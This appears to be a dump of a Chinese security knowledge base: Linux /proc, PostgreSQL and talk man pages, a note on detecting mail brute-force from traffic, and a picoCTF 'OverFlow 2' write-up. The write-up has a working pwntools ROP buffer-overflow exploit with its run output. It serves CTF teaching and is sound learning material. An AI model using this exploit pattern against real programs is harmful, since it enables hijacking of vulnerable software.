请注意 maps 包含了比 /proc/*/mmap 更多的信息,
所以应该废弃 mmap.
";0"; 通常指 libc.so.4.
在 linux 内核 1.1.40 里,
.I /proc/*/mmap
被取消了.
(现在是
.B 真的
废弃不用了!)
.TP
.I root
依靠系统调用
.I chroot(2),
unix 和 linux 可以让
每个进程有各自的文件系统根目录.
由
.I chroot(2)
系统调用设置.
根指向文件系统的根,性质就象 exe, fd/* 等一样.
.TP
.I stat
进程状态信息, 被命令
.I ps(1)
使用.
现将该文件里各域, 以及他们的
.I scanf(3)
格式说明符, 按顺序分述如下:
.RS
.TP
\fIpid\fP %d
进程标识.
.TP
\fIcomm\fP %s
可执行文件的文件名, 包括路径. 该文件是否可
见取决于该文件是否已被交换出内存.
.TP
\fIstate\fP %c
";RSDZT"; 中的一个, R 是正在运行, S 是
在可中断的就绪态中睡眠, D 是在不可中
断的等待或交换态中睡眠, Z 是僵死, T
是被跟踪或被停止(由于收到信号).
.TP
\fIppid\fP %d
父进程 PID.
.TP
\fIpgrp\fP %d
进程的进程组 ID.
.TP
\fIsession\fP %d
进程的会话 ID.
.TP
\fItty\fP %d
进程所使用终端.
.TP
\fItpgid\fP %d
当前拥有该进程所连接终端的进程所在的进程
组 ID.
.TP
\fIflags\fP %u
进程标志. 目前每个标志都设了数学位,
所以输出里就不包括该位. crt0.s 检查数学仿真
这可能是一个臭虫, 因为不是每个进
程都是用 c 编译的程序. 数学位应该是十
进制的 4, 而跟踪位应该是十进制的 10.
.TP
\fIminflt\fP %u
进程所导致的小错误(minor faults)数目, 这样的
小错误(minor faults)不需要从磁盘重新载入一个
内存页.
.TP
\fIcminflt\fP %u
进程及其子进程所导致的小错误(minor faults)数目.
.TP
\fImajflt\fP %u
进程所导致的大错误(major faults)数目, 这样的
大错误(major faults)需要重新载入内存页.
.TP
\fIcmajflt\fP %u
进程及其子进程所导致的大错误(major faults)数目.
.TP
\fIutime\fP %d
进程被调度进用户态的时间(以 jiffy 为单
位, 1 jiffy=1/100 秒,另外不同硬件体系略有不同).
.TP
\fIstime\fP %d
进程被调度进内核态的时间, 以 jiffy 为
单位.
.TP
\fIcutime\fP %d
进程及其子进程被调度进用户态的时间,
以 jiffy 为单位.
.TP
\fIcstime\fP %d
进程及其子进程被调度进内核态的时间,
以 jiffy 为单位.
.TP
\fIcounter\fP %d
如果进程不是当前正在运行的进程, 就是
进程在下个时间片当前可以拥有的最大时
间, 以 jiffy 为单位. 如果进程是当前正
在运行的进程, 就是当前时间片中所剩下
jiffy 数目.
.TP
\fIpriority\fP %d
标准优先数只再加上 15, 在内核里该值总
是正的.
.TP
\fItimeout\fP %u
当前至进程的下一次间歇时间, 以 jiffy
为单位.
.TP
\fIitrealvalue\fP %u
由于计时间隔导致的下一个 SIGALRM
发送进程的时延,以 jiffy 为单位.
.TP
\fIstarttime\fP %d
进程自系统启动以来的开始时间, 以 jiffy
为单位.
.TP
\fIvsize\fP %u
虚拟内存大小.
.TP
\fIrss\fP %u
Resident Set Size(驻留大小): 进程所占用的真实内
存大小, 以页为单位, 为便于管理而减去
了 3. rss 只包括正文, 数据以及堆栈的空间,
但不包括尚未要求装入内存的或已被交换出去的.
.TP
\fIrlim\fP %u
当前进程的 rss 限制, 以字节为单位, 通
常为 2,147,483,647.
.TP
\fIstartcode\fP %u
正文部分地址下限.
.TP
\fIendcode\fP %u
正文部分地址上限.
.TP
\fIstartstack\fP %u
堆栈开始地址.
.TP
\fIkstkesp\fP %u
esp(32 位堆栈指针) 的当前值, 与在进程
的内核堆栈页得到的一致.
.TP
\fIkstkeip\fP %u
EIP(32 位指令指针)的当前值.
.TP
\fIsignal\fP %d
待处理信号的 bitmap(通常为 0).
.TP
\fIblocked\fP %d
被阻塞信号的 bitmap(对 shell 通常是 0, 2).
.TP
\fIsigignore\fP %d
被忽略信号的 bitmap.
.TP
\fIsigcatch\fP %d
被俘获信号的 bitmap.
.TP
\fIwchan\fP %u
进程在其中等待的通道, 实际是一个系统
调用的地址. 如果你需要文本格式的, 也
可以在名字列表中找到.
(如果有最新版本的 /etc/psdatabase, 你
可以在 \fIps -l\fP 的结果中的 WCHAN 域看到)
.RE
.RE
.TP
.I cpuinfo
保存了CPU 以及体系架构依赖条目的列表. 对于不同的系
统架构有不同的列表, 共有的两项是 \fIcpu\fP 和 \fIBogoMIPS\fP, \fIcpu\fP
可能是当前在用的 CPU, 而 \fIBogoMIPS\fP 则是内核初始化时计算出
的一个系统常数.
.TP
.I devices
主设备号及设备组的列表, 文本格式. MAKEDEV 脚本使用
该文件来维持内核的一致性.
.TP
.I dma
一个列表, 指出正在使用的\fIISA\fP DMA (直接内存访问)通道.
.TP
.I filesystems
以文本格式列出了被编译进内核的文件系统. 当没有给
.I mount(1)
指明哪个文件系统的时候,
.I mount(1)
就依靠该文件遍历不同的文件系统.
.TP
.I interrupts
该文件以 ASCII 格式记录了(至少是在 i386 体系上的)每次 IRQ 的中断数目.
.TP
.I ioports
该文件列出了当前在用的已注册 I/O 端口范围.
.TP
.I kcore
该伪文件以 core 文件格式给出了系统的物理内存映象, 再
利用未卸载的内核 (/usr/src/linux/tools/zSystem), 我
们就可以用 GDB 查探当前内核的任意数据结构.
该文件的总长度是物理内存 (RAM) 的大小再加上 4KB.
.TP
.I kmsg
可以用该文件取代系统调用
.I syslog(2)
来记录内核信息.
但是读该文件需要超级用户权限, 并且一次只能有一个进
程可以读该文件, 因而如果一个使用了
.I syslog(2)
系统调用功能来记录内核信息的系统日志进程正在运行的话,
别的进程就不能再去读该伪文件了.
该文件的内容可以用
.I dmesg(8)
来察看.
.TP
.I ksyms
该文件保存了内核输出的符号定义,
.I modules(X)
使用该文件
动态地连接和捆绑可装载的模块.
.TP
.I loadavg
平均负载数给出了在过去的 1, 5, 15 分钟里在运行队列里
的任务数, 与
.I uptime(1)
等命令的结果相同.
.TP
.I locks
这个文件显示当前文件锁.
.TP
.I malloc
只有在编译时定义了 CONFIGDEBUGMALLOC 才会有该文件.
.TP
.I meminfo
.I free(1)
利用该文件来给出系统总的空闲内存和已用内存
(包括物理内存和交换内存), 以及内核所使用的共享内存
和缓冲区.
该文件与
.I free(1)
\h'-1' 格式相同, 但是以字节为单位而不是 KB.
.TP
.I modules
列出了系统已载入的模块, 文本格式.
.TP
.I net
该子目录包括多个 ASCII 格式的网络伪文件, 描述了网络
层的部分情况. 可以用 cat 来察看这些文件, 但标准的
.I netstat(8)
命令组更清晰地给出了这些文件的信息.
.RS
.TP
.I arp
该文件以 ASCII 格式保存了内核 ARP 表, 用于地址解析,
包括静态和动态 arp 数据. 文件格式如下:
.nf
.ft CW
.ie t .in +3n
.el .in -2n
IP address HW type Flags HW address
10.11.100.129 0x1 0x6 00:20:8A:00:0C:5A
10.11.100.5 0x1 0x2 00:C0:EA:00:00:4E
44.131.10.6 0x3 0x2 GW4PTS
.ft
.fi
.in
.PP
其中 'IP address' 是机器的 IPv4 地址; 'HW type' 是地址的硬
件类型, 遵循 RFC 826; flags 是 ARP 结构的内部标志, 在
/usr/include/linux/if_arp.h 中定义; 'HW address' 是该
IP 地址的物理层映射(如果知道的话).
.TP
.I dev
该伪文件包含网络设备状态信息, 给出了发送和收
到的包的数目, 错误和冲突的数目, 以及别的一些
基本统计数据.
.I ifconfig(8)
利用了该文件来报
告网络设备状态. 文件格式如下:
.nf
.ft CW
.if n .in -13n
Inter-| Receive | Transmit
face |packets errs drop fifo frame|packets errs drop fifo colls carrier
lo: 0 0 0 0 0 2353 0 0 0 0 0
eth0: 644324 1 0 0 1 563770 0 0 0 581 0
.if n .in
.ft
.fi
.TP
.I ipx
无信息.
.TP
.I ipx_route
无信息.
.TP
.I rarp
该文件具有和
.I arp
同样的格式, 包含当前的逆向
地址映射数据.
.I rarp(8)
利用这些数据来作逆向
地址查询服务. 只有将 RARP 配置进内核, 该文件才
存在.
.TP
.I raw
该文件保存了 RAW 套接字表, 大部分信息除用于调试以外没有什么用.
`sl' 指出了套接字的内核散列槽号; 'local address'
包括本地地址和协议号对; "St" 是套接字的内部状态;
tx_queue 和 rx_queue 是内核存储器使用意义上的输入输
出数据队列; RAW 没有使用"tr", "tm->when" 和 "rexmits";
uid 是套接字创建者的有效 uid.
.TP
.I route
没有信息, 但是看上去类似于
.I route(8)
.TP
.I snmp
该文件以 ASCII 格式保存了 IP, ICMP, TCP 以及 UDP
管理所需的数据信息, 基于 snmp 协议. TCP mib
(TCP 管理数据库)尚未完善, 可能在 1.2.0 内核能够
完成.
.TP
.I tcp
该文件保存了 TCP 套接字表, 大部分信息除用于调试以外没有什么用.
"sl" 指出了套接字的内核散列槽号; "local address"
包括本地地址和端口号; "remote address" 包括远地
地址和端口号(如果有连接的话); 'St' 是套接字的内
部状态; 'tx_queue' 和 'rx_queue' 是内核存储器使用意义上
的输入输出数据队列; "tr", "tm->when" 和 "rexmits" 保存
了内核套接字声明的内部信息, 只用于调试; uid
是套接字创建者的有效 uid.
.TP
.I udp
该文件保存了 UDP 套接字表, 大部分信息除用于调试以外没有什么用.
"sl" 指出了套接字的内核散列槽号; "local address"
包括本地地址和端口号; "remote address" 包括远地
地址和端口号(如果有连接的话); "St" 是套接字的内
部状态; "tx_queue" 和 "rx_queue" 是内核存储器使用意义上
的输入输出数据队列; UDP 没有使用 "tr","tm->when" 和
"rexmits"; uid 是套接字创建者的有效 uid.
格式如下:
.nf
.ft CW
.if n .in 0
sl local_address rem_address st tx_queue rx_queue tr rexmits tm->when uid
1: 01642C89:0201 0C642C89:03FF 01 00000000:00000001 01:000071BA 00000000 0
1: 00000000:0801 00000000:0000 0A 00000000:00000000 00:00000000 6F000100 0
1: 00000000:0201 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0
.if n .in
.ft
.fi
.TP
.I unix
列出了当前系统的UNIX域套接字以及它们的状态,
格式如下:
.nf
.sp .5
.ft CW
Num RefCount Protocol Flags Type St Path
0: 00000002 00000000 00000000 0001 03
1: 00000001 00000000 00010000 0001 01 /dev/printer
.ft
.sp .5
.fi
.PP
`Num' 是内核散列槽号; 'RefCount' 是用户套接字号; 'Protocol'
当前总是 0; 'Flags' 是内核标志, 指出了套接字的状态; 'Type'
当前总是 1(在内核中尚未支持 unix 域数据报套接字); 'St'
是套接字内部状态; 'Path' 套接字绑捆的路径(如果有的话).
.RE
.TP
.I pci
该文件列出了内核初始化时发现的所有 PCI 设备及其配置.
.TP
.I scsi
该目录包括 scsi 中间层伪文件及各种 SCSI 底层驱动器子目录,
对系统中每个 SCSI host, 子目录中都存在一个文件与之对应,
展示了部分 SCSI IO 子系统的状态. 这些文件是 ASCII 格式
的, 可用cat阅读.
你也可以通过写其中某些文件来重新配置该子系统, 开关一些功能.
.RS
.TP
.I scsi
该文件列出了内核掌握的所有 SCSI 设备, 其内容就
和系统启动时所看到的类似. 目前 scsi 只支持
\fIsingledevice\fP命令, 该命令允许 root 添加一个热插
拔(hotplugged)设备到一个已知设备列表中.
命令
.B echo 'scsi singledevice 1 0 5 0' > /proc/scsi/scsi
令 host scsi1 扫描 SCSI 通道 0,
看在 ID 5 LUN 0 是否存在设备, 如果在该地址
存在设备, 或者该地址无效, 则返回一个错误.
.TP
.I drivername
目前 \fIdrivername\fP 可包含: NCR53c7xx, aha152x, aha1542, aha1740,
aic7xxx, buslogic, eata_dma, eata_pio, fdomain, in2000, pas16, qlogic,
scsi_debug, seagate, t128, u15-24f, ultrastore 或者 wd7000.
这些目录展示那些至少注册了一个 SCSI HBA 的驱动.
而对每个已注册的 host, 每个目录中都包含一个文件与之对应,
而这些对应的 host 文件就以初始化时分配给 host 的数字来命名.
这些文件给出了驱动程序以及设备的配置, 统计数据等.
可以通过写这些文件实现不同的 host 上做不同的工作.
例如, root 可以用 \fIlatency\fP 和 \fInolatency\fP 命令打
开或者关闭 eata_dma 驱动器上测量延时的代码,
也可以用 \fIlockup\fP 和 \fIunlock\fP 命令
控制 scsi_debug 驱动器所模拟的总线锁操作.
.RE
.TP
.I self
当某进程访问 /proc 目录时, 该目录就指向 /proc 下以该进
程 ID 命名的目录.
.TP
.I stat
内核及系统的统计数据.
.RS
.TP
\fIcpu 3357 0 4313 1362393\fP
系统分别消耗在用户模式, 低优先权的用户模式(nice),
系统模式, 以及空闲任务的时间, 以 jiffy 为单位.
最后一个数值应该是 uptime 伪文件第二个数值的
100 倍.
.TP
\fIdisk 0 0 0 0\fP
目前并没有实现这四个磁盘记录, 我甚至认为就不应该实现它,
这是由于在别的机器上内核统计通常依赖转换率及
每秒 I/O 数, 而这令每个驱动器只能有一个域.
.TP
\fIpage 5741 1808\fP
系统(从磁盘)交换进的页数和交换出去的页数.
.TP
\fIswap 1 0\fP
取入的交换页及被取出的交换页的页数.
.TP
\fIintr 1462898\fP
系统自启动以来所收到的中断数.
.TP
\fIctxt 115315\fP
系统所作的进程环境切换次数.
.TP
\fIbtime 769041601\fP
系统自 1970 年 1 月 1 号以来总的运行时间, 以秒为单位.
.RE
.TP
.I sys
该目录在 1.3.57 的内核里开始出现, 包含一些对应于内
核变量的文件和子目录. 你可以读这些变量, 有的也可以
通过\fIproc\fP修改, 或者用系统调用
.IR sysctl (2)
修改. 目前该目录下有如下三个子目录:
.IR kernel ";, "; net ";, "; vm
每个各自包括一些文件和子目录.
.RS
.TP
.I kernel
该目录包括如下文件:
.IR domainname ";, "; file-max ";, "; file-nr ";, "; hostname ";, ";
.IR inode-max ";, "; inode-nr ";, "; osrelease ";, "; ostype ";, ";
.IR panic ";, "; real-root-dev ";, "; securelevel ";, "; version ,
由文件名就可以清楚地得知各文件功能.
.LP
只读文件
.I file-nr
给出当前打开的文件数.
.LP
文件
.I file-max
给出系统所容许的最大可打开文件数.
如果 1024 不够大的话, 可以
.br
.nf
.ft CW
echo 4096 > /proc/sys/kernel/file-max
.fi
.ft
.LP
类似地, 文件
.I inode-nr
以及文件
.I inode-max
指出了当前 inode 数和最大 inode 数.
.LP
文件
.IR ostype ";, "; osrelease ";, "; version
实际上是
.IR /proc/version
的子字串.
.LP
文件
.I panic
可以对内核变量
.IR panic_timeout
进行读/写访问.
如果该值为零, 内核在 panic 时进入(死)循环;
如果非零, 该值指出内核将自动重起的时间, 以秒为单位.
.LP
文件
.I securelevel
目前似乎没什么意义 - root 无所不能.
.RE
.TP
.I uptime
该文件包含两个数: 系统正常运行时间和总的空闲时间, 都以秒为单位.
.TP
.I version
指明了当前正在运行的内核版本, 例如:
.nf
.in -2
.ft CW
Linux version 1.0.9 (quinlan@phaze) #1 Sat May 14 01:51:54 EDT 1994
.ft
.in +2
.fi
.RE
.RE
.SH 又见
cat(1), find(1), free(1), mount(1), ps(1), tr(1), uptime(1), readlink(2),
mmap(2), chroot(2), syslog(2), hier(7), arp(8), dmesg(8), netstat(8),
route(8), ifconfig(8), procinfo(8)等等.
.\"; maybe I should trim that down
.SH 遵循
本手册页基本上是针对 Linux 1.3.11 内核, 如有必要请及时更新!
最后更新也是针对 Linux 1.3.11.
.SH 注意事项
请注意许多字符串(例如环境变量或者命令行)是以内部格式保存的,
以 NUL 作为子域的结束标志, 可以用 \fIod -c\fP
或者 \fItr ";\\000"; ";\\n";\fP 使之变得更可读.
本手册页还不完善, 可能有不够确切的地方, 需要经常更新.
.SH BUGS
.I /proc
可能会给那些使用了
.BR chroot (2)
的进程带来安全问题. 例如, 如果
.I /proc
被 mount 在
.B chroot
级别里, 一个
到
.I /proc/1/root
的
.BR chdir (2)
操作将返回文件系统的原始根目录.
由于 Linux 还不支持
.BR fchroot (2)
调用, 该问题可能更应该看作一个特性而不是一个 bug.
.SH "[中文版维护人]"
.B mapping <mapping@263.net>
.SH "[中文版最新更新]"
.B 2000/11/26
.SH "《中国linux论坛man手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
# OverFlow 2
Binary Exploitation, 250 points
## Description:
> Now try overwriting arguments. Can you get the flag from this program?
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFSIZE 176
#define FLAGSIZE 64
void flag(unsigned int arg1, unsigned int arg2) {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
if (arg1 != 0xDEADBEEF)
return;
if (arg2 != 0xC0DED00D)
return;
printf(buf);
}
void vuln(){
char buf[BUFSIZE];
gets(buf);
puts(buf);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
gid_t gid = getegid();
setresgid(gid, gid, gid);
puts("Please enter your string: ");
vuln();
return 0;
}
```
## Solution:
This challenge is similar to last year's [buffer overflow 2](/2018_picoCTF/buffer%20overflow%202.md). We just create a ROP chain using `pwntools` and feed it the appropriate parameters.
```python
# First, generate a pwntools template using:
# pwn template --host 2019shell1.picoctf.com --user dvdalt --path /problems/overflow-2_3_051820c27c2e8c060021c0b9705ae446/vuln
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: i386-32-little
# RELRO: Partial RELRO
# Stack: No canary found
# NX: NX enabled
# PIE: No PIE (0x8048000)
import os
if shell is not None:
shell.set_working_directory(os.path.dirname(remote_path))
def send_payload(proc, payload):
proc.sendlineafter("Please enter your string: ", payload)
def get_overflow_offset():
# It's problematic to create a core dump on an NTFS file system,
# so reconfigure core dumps to be created elsewhere
os.system("echo ~/core/core_dump > /proc/sys/kernel/core_pattern")
os.system("rm core.* > /dev/null")
proc = process(exe.path)
payload = cyclic(200, n = exe.bytes)
send_payload(proc, payload)
proc.wait()
offset = cyclic_find(proc.corefile.fault_addr, n = exe.bytes )
log.info("Overflow offset: {}".format(offset))
return offset
overflow_offset = get_overflow_offset()
rop = ROP(context.binary)
rop.flag(0xDEADBEEF, 0xC0DED00D)
log.info("ROP: \n{}".format(rop.dump()))
io = start()
payload = fit({overflow_offset: str(rop)}, filler = 'A')
log.info("Sending payload: \n{}".format(hexdump(payload)))
send_payload(io, payload)
print io.recvall()
```
Output:
```console
root@kali:/media/sf_CTFs/pico/OverFlow_2# python exploit.py
[*] '/media/sf_CTFs/pico/OverFlow_2/vuln'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[+] Connecting to 2019shell1.picoctf.com on port 22: Done
[*] dvdalt@2019shell1.picoctf.com:
Distro Ubuntu 18.04
OS: linux
Arch: amd64
Version: 4.15.0
ASLR: Enabled
[+] Opening new channel: 'pwd': Done
[+] Receiving all data: Done (13B)
[*] Closed SSH channel with 2019shell1.picoctf.com
[*] Working directory: '/tmp/tmp.f8okibBswc'
[+] Opening new channel: 'ln -s /home/dvdalt/* .': Done
[+] Receiving all data: Done (0B)
[*] Closed SSH channel with 2019shell1.picoctf.com
[*] Working directory: '/problems/overflow-2_3_051820c27c2e8c060021c0b9705ae446'
[+] Starting local process '/media/sf_CTFs/pico/OverFlow_2/vuln': pid 1058
[*] Process '/media/sf_CTFs/pico/OverFlow_2/vuln' stopped with exit code -11 (SIGSEGV) (pid 1058)
[+] Parsing corefile...: Done
[*] '/media/sf_CTFs/pico/OverFlow_2/core.1058'
Arch: i386-32-little
EIP: 0x62616177
ESP: 0xffe432e0
Exe: '/media/sf_CTFs/pico/OverFlow_2/vuln' (0x8048000)
Fault: 0x62616177
[*] Overflow offset: 188
[*] Loaded cached gadgets for 'vuln'
[*] ROP:
0x0000: 0x80485e6 flag(0xdeadbeef, 0xc0ded00d)
0x0004: 'baaa' <return address>
0x0008: 0xdeadbeef arg0
0x000c: 0xc0ded00d arg1
[+] Starting remote process '/problems/overflow-2_3_051820c27c2e8c060021c0b9705ae446/vuln' on 2019shell1.picoctf.com: pi
d 4011235
[*] Sending payload:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
*
000000b0 41 41 41 41 41 41 41 41 41 41 41 41 e6 85 04 08 │AAAA│AAAA│AAAA│····│
000000c0 62 61 61 61 ef be ad de 0d d0 de c0 │baaa│····│····││
000000cc
[+] Receiving all data: Done (239B)
[*] Stopped remote process 'vuln' on 2019shell1.picoctf.com (pid 4011235)
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbaaaᆳ
picoCTF{arg5_and_r3turn51b106031}
```
|
sec-knowleage
|
.\" auto-generated by docbook2man-spec $Revision: 1.1 $
.TH "ALTER TRIGGER" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands"
.SH NAME
ALTER TRIGGER \- 修改一个触发器的定义
.SH SYNOPSIS
.sp
.nf
ALTER TRIGGER \fIname\fR ON \fItable\fR RENAME TO \fInewname\fR
.sp
.fi
.SH "DESCRIPTION 描述"
.PP
\fBALTER TRIGGER\fR 改变一个现有触发器的属性。 RENAME 修改一个给出地触发器地名称, 而不用改变触发器的定义。
.PP
你必需拥有该触发器作用的表才能改变其属性。
.SH "PARAMETERS 参数"
.TP
\fB\fIname\fB\fR
现有需要修改的触发器的名称。
.TP
\fB\fItable\fB\fR
该触发器作用的表的名字。
.TP
\fB\fInewname\fB\fR
现有触发器的新名字。
.SH "EXAMPLES 例子"
.PP
重新命名一个现有触发器:
.sp
.nf
ALTER TRIGGER emp_stamp ON emp RENAME TO emp_track_chgs;
.sp
.fi
.SH "COMPATIBILITY 兼容性"
.PP
\fBALTER TRIGGER\fR 是 PostgreSQL 对 SQL 标准的扩展。
.SH "译者"
.B Postgresql 中文网站
.B 何伟平 <laser@pgsqldb.org>
|
sec-knowleage
|
# T1190-邮箱暴力破解攻击流量分析
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“ 利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## 测试案例
本文案例主要参考、摘录自《现场取证之流量分析总结》,上[链接](https://my.oschina.net/u/4395026/blog/3783867)
## 检测日志
全流量
## 测试复现
暂无,查看测试文档。
## 测试留痕
暂无
## 检测规则/思路
### POP3协议
协议认证过程
```yml
CAPA //用于取得此服务器的功能选项清单
+OK Capability list follows
TOP
USER
PIPELINING
EXPIRE NEVER
UIDL
+OK Mail Server POP3 ready
user a1@a.com ---------------------输入用户名, username 为具体的用户名
+OK -------------------------------执行命令成功
pass q1q1q1q1 ---------------------输入用户密码,password 为具体的密码,这里要注意,当密码输入错误后要重新user username后再运行此命令,否则提示命令无效
+OK 2 messages ---------------------密码认证通过
(-ERR authorization failed ---------密码认证失败)
(+OK User successfully logged on. --认证成功)
stat -------------------------------邮箱状态
+OK 2 6415 -------------------------2 为该信箱总邮件数,6415 为总字节数
list -------------------------------列出每封邮件的字节数
+OK --------------------------------执行命令成功,开始显示,左边为邮件的序号,右边为该邮件的大小
1 537 ------------------------------第 1 封邮件,大小为 537 字节
2 5878 -----------------------------第 2 封邮件,大小为 5878 字节
+OK Microsoft Exchange Server 2003 POP3 .......... 6.5.6944.0 ..........
```
暴力破解特征:
攻击者不断输入用户名jufeng001,不同的密码进行尝试,服务器也大量报错:-ERR Logon failure: unknown user name or bad password。
### SMTP协议
协议认证过程:
```yml
220 a-ba21a05129e24.test.org Microsoft ESMTP MAIL Service, Version: 6.0.3790.3959 ready at Thu, 6 Aug 2015 11:10:17 +0800 //服务就绪
EHLO Mr.RightPC //主机名
250-a-ba21a05129e24.test.org Hello [192.1.14.228]
……
250 OK
AUTH LOGIN // 认证开始
334 VXNlcm5hbWU6 // Username:
cGFzc0AxMjM= // 输入用户名的base64编码
334 UGFzc3dvcmQ6 // Password:
MXFhekBXU1g= // 输入密码的base64编码
235 2.7.0 Authentication successful. //认证成功
```
暴力破解特征:
攻击者不断输入用户名jufeng001,不同的密码进行尝试,服务器也大量报错:535 5.7.3 Authentication unsuccessful。
### IMAP协议
协议认证过程:
```yml
bf8p CAPABILITY
* CAPABILITY IMAP4 IMAP4rev1 IDLE LOGIN-REFERRALS MAILBOX-REFERRALS NAMESPACE LITERAL+ UIDPLUS CHILDREN
bf8p OK CAPABILITY completed.
s3yg LOGIN "administrator" "1qaz@WSX" //输入用户名:administrator,密码:1qaz@WSX
s3yg OK LOGIN completed. //认证成功
```
暴力破解特征:
IMAP爆破会不断重复LOGIN "用户名" "密码",以及登录失败的报错:NO Logon failure: unknown user name or bad password。
### HTTP协议
HTTP登录页面看是否存在302页面跳转判断为登录成功。
```yml
Referer: http://192.1.14.199:8080/login.html //登录地址
uname=admin&upass=1qaz%40WSXHTTP/1.1 200 OK
…
<script>alert('OK')</script>
//输入用户名admin,密码1qaz%40WSX,Web服务器返回HTTP/1.1 200和弹出对话框“OK”表示认证成功。
```
暴力破解特征:
短时间内出现大量登录页面的请求包。
### HTTPS协议
HTTPS协议为加密协议,从数据很难判断认证是否成功,只能根据数据头部结合社会工程学才能判断。如认证后有无查看网页、邮件的步骤,如有,就会产生加密数据。
暴力破解特征:
爆破过程中,不断出现认证过程:“Client Hello”、“Server Hello”等,并未出现登录成功后操作的大量加密数据。在不到2秒的时间就出现16次认证,基本可以判断为暴力破解。
## 参考推荐
MITRE-ATT&CK-T1190
<https://attack.mitre.org/techniques/T1190/>
现场取证之流量分析总结
<https://my.oschina.net/u/4395026/blog/3783867>
|
sec-knowleage
|
talk
===
让用户和其他用户聊天
## 补充说明
**talk命令** 是talk服务器的客户端工具,通过talk命令可以让用户和其他用户聊天。linux中talk命令参数程序的使用很简单,只要知道交谈对象的地址,就可以邀请对方交谈。
### 语法
```shell
talk(参数)
```
### 参数
* 用户:指定聊天的用户;
* 终端:指定用户的终端。
### 实例
例如登录在主机rs6000.cic.test.com上的用户jdx希望和登录在主机tirc.cs.test.com上的用户wangxz进行交谈,则可以输入下面的命令:
```shell
talk wangxz@tirc.cs.test.com
```
Internet上的相关程序(Talk Daemon)就会传送一条信息邀请wangxz来交谈,这时用户wangxz的屏幕上就会出现如下信息,并响铃提示:
```shell
Message from Talk_Daemon@tirc.cs.test.com at 21:44 …
talk: connection requested by jdx@rs6000.cic.test.com
talk: respond with: talk jdx@rs6000.cic.test.com
```
这时,用户wangxz应该做的工作就是按照上面的信息提示,即输入linux中talk命令:
```shell
talk jdx@rs6000.cic.test.com
```
之后,连接建立成功,两个用户就可以进行交谈了。这时,双方的终端屏幕上都将显示信息 **[Connection established]** 并响铃,同时屏幕被linux中talk命令程序以一条水平线分割为上下两部分,上半部分用来显示用户自己输入的内容,下半部分用来显示对方输入的内容。两个用户可以同时输入,他们输入的内容将会立即显示在双方的屏幕上。
在用户进行输入时,可按 **BACKSPACE** 见来更正前一个字符,也可按 **CTRL+w** 来删除一个完整的单词,或者用 **CTRL+U** 来删除一整行,另外,用户还可以通过按 **CTRL+L** 来刷新屏幕。如果要结束交谈,可由任何一方按下 **CTRL+C** 来中断连接,但在结束对话前最好道声“再见”,并等待对方回应。linux中talk命令程序结束时,在屏幕上将回显示一条信息:
```shell
[Connection closing. Exiting]
```
并非每次要求对方交谈都能成功,有时对方没有登录,则linux中talk命令程序提示信息:
```shell
[Your party is not logged on]
```
并退出;如果对方已登录,但因某种原因(如不是正在使用机器)没有响应,那么linux中talk命令程序将会每隔10秒钟给他发一条邀请信息,同时在自己的屏幕上显示:
```shell
[Ringing your party again]
```
如果用户不愿等待,则可以按 **CTRL+C** 终止linux中talk命令程序。还有的时候系统可能出现下面的信息:
```shell
[Checking for invitation on caller’s machine]
```
这说明双方的linux中talk命令程序不兼容,这时可以试试ntalk和ytalk命令,如果没有,就只好找系统管理员了。
如果用户在做某些紧急工作(如编辑邮件)时不希望被linux中talk命令的邀请打搅,他可以使用命令:
```shell
mesg n
```
来暂时拒绝交谈,这时如果有用户邀请他交谈,只能得到提示信息:
```shell
[Your party is refusing messages]
```
不过要注意的是,一旦完成紧急工作。最好立即打开信息接收开关(用命令`mesg y`),否则将会失去很多信息交流的机会。
以上是linux中talk命令参数的是使用方法。
|
sec-knowleage
|
'\" t
.TH "NSS\-MYHOSTNAME" "8" "" "systemd 231" "nss-myhostname"
.\" -----------------------------------------------------------------
.\" * Define some portability stuff
.\" -----------------------------------------------------------------
.\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
.\" http://bugs.debian.org/507673
.\" http://lists.gnu.org/archive/html/groff/2009-02/msg00013.html
.\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
.ie \n(.g .ds Aq \(aq
.el .ds Aq '
.\" -----------------------------------------------------------------
.\" * set default formatting
.\" -----------------------------------------------------------------
.\" disable hyphenation
.nh
.\" disable justification (adjust text to left margin only)
.ad l
.\" -----------------------------------------------------------------
.\" * MAIN CONTENT STARTS HERE *
.\" -----------------------------------------------------------------
.SH "NAME"
nss-myhostname, libnss_myhostname.so.2 \- 为本地配置的系统主机名提供解析功能
.SH "SYNOPSIS"
.PP
libnss_myhostname\&.so\&.2
.SH "描述"
.PP
\fBnss\-myhostname\fR
是一个
